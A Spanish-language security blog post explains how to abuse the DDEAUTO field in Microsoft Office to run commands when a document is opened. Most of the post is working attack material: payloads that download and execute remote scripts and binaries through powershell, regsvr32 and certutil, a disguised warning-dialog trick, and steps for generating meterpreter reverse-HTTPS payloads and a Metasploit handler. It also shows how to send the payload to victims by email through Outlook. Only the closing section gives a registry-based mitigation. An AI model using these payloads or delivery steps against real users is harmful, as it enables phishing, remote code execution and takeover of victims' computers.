Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

martes, 28 de noviembre de 2017

Infectando Office de Windows con DDEAUTO


Hace unos días se descubrió una vulnerabilidad que puede desencadenar la ejecución de comandos en Office, sin el uso de macros, cuando alguien abre un documento de Office especialmente diseñado. Aunque se necesita un poco de ingeniería social para que la víctima haga clic en "sí" en los primeros 2 de 3 cuadros de mensaje, la mayoría de los usuarios finales son engañados fácilmente. Descubrieron que al abusar de los parámetros de la función DDEAUTO podían usar powershell para descargar cargas maliciosas de forma remota. DDE es un mecanismo heredado de Comunicación entre Procesos (IPC) que data de 1987, que establece un enlace de intercambio dinámico de datos (DDE) con un documento creado en otro programa basado en Microsoft Windows. SensePost descubrió que, en lugar de especificar una aplicación como Excel, un atacante puede especificar parámetros arbitrarios de otra aplicación como primer parámetro y argumentos citados como el segundo parámetro (que no puede exceder 255 bytes).

La prueba rápida y fácil:

Abra un nuevo documento de Word, presione la tecla CTRL + F9, y pegue esto entre los corchetes {} y luego guarde el archivo

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"



Deberías tener algo similar que se parece a la imagen de arriba.
Payloads.
 Aunque ejecutar la calculadora es lindo y todo con fines de demostración, puede hacer más cosas maliciosas para ejecutar cargas maliciosas en un sistema de destino.

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\System32\cmd.exe /c cscript.exe index.js"


DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll " 



DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"


DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "


También existe un script bash que usa CactusTorch para generar automáticamente payloads de conexión inversa en meterpreter, ya sea mediante TCP/HTTP/HTTPS y embebidos en lenguajes vbs/hta/js que puede insertar en documentos de Word para probar.

https://github.com/xillwillx/CACTUSTORCH_DDEAUTO

También puedes ofuscar los contenidos del mensaje de alerta promoviendo tus intentos de ingeniería social para engañar al usuario para que haga clic en "sí".
 
DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"


Aunque los scripts de powershell webdl son más fáciles de hacer, es posible que desee tener un payload todo en un solo documento, por lo que no llamará a su binario a través de la red. Dave Kennedy actualizó su script en python Unicorn para generar payloads con msfvenom que codifica/decodifica en base64 cuando se activa el DDEAUTO.

Abra una consola en GNU/Linux y ejecute lo siguiente:

IP=`ip -4 addr show $iface | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
git clone https://github.com/trustedsec/unicorn.git && cd unicorn
python unicorn.py windows/meterpreter/reverse_https $IP 443 dde
cat powershell_attack.txt  | xclip -selection clipboard | leafpad powershell_attack.txt 

Nota: Debe reemplazar $iface por la interfaz que desee usar, puedes verlas usando el comando ip link.
 
Pegue el payload generado con el comando "cat" en Word y guárdelo, luego envíela a su destino. Luego, en una nueva terminal, abra su metereter para recibir algunas shells inversas.

IP=`ip -4 addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z"

* Si necesita su IP externa, cambie la primera línea de código a:

IP="$(dig +short myip.opendns.com @resolver1.opendns.com)"
Outlook.

También puede obtener shells con un mensaje de correo electrónico de texto enriquecido de Outlook, la única advertencia en Outlook 2013/2016 es que necesita incrustar una imagen/gráfico u objeto primero antes de agregar el payload DDEAUTO.

Abra el documento de Word, presione la tecla CTRL + F9 y pegue su payload entre los corchetes {}, luego abra un nuevo mensaje de correo electrónico de Outlook. Vaya a la pestaña Formato de texto y cambie el mensaje a formato de texto enriquecido.



En el cuerpo del mensaje, copie y pegue cualquier imagen en el cuerpo.



De su documento Word, copie el payload y luego péguelo en el cuerpo del correo electrónico. Ingrese el destinatario, etc. y envíe. Obtendrá los mensajes DDE, solo dígales "no". Cuando su destinatario recibe el correo electrónico, no se activará hasta que presione responder. Si presionan "sí" en las primeras 2 casillas de mensajes, entonces ejecutará su payload.




Mitigaciones:

Se ha probado que esto funciona en archivos doc(x/m), dot(x/m), rtf, Word xml, draft msg & oft. Aunque el análisis subyacente que utiliza Word desencadena este comportamiento cuando se abren estos tipos de archivos, Microsoft respondió que se trata de una característica y que no se tomarán medidas adicionales para solucionarla (a menos que, por supuesto, los actuales ataques de ransomware y otros virus lo forcen).

A continuación dejaremos un archivo .reg que puede ser usado para desactivar DDEAUTO en tu sistema.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\WordMail]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\OneNote\Options]
"DisableEmbeddedFiles"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options]
 "DontUpdateLinks"=dword:00000001
 "DDEAllowed"=dword:00000000
 "DDECleaned"=dword:00000001
 "Options"=dword:00000117 

 

A continuación hay un video demostrativo que ha creado uno de nuestros usuarios.



Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

0 comentarios:

Publicar un comentario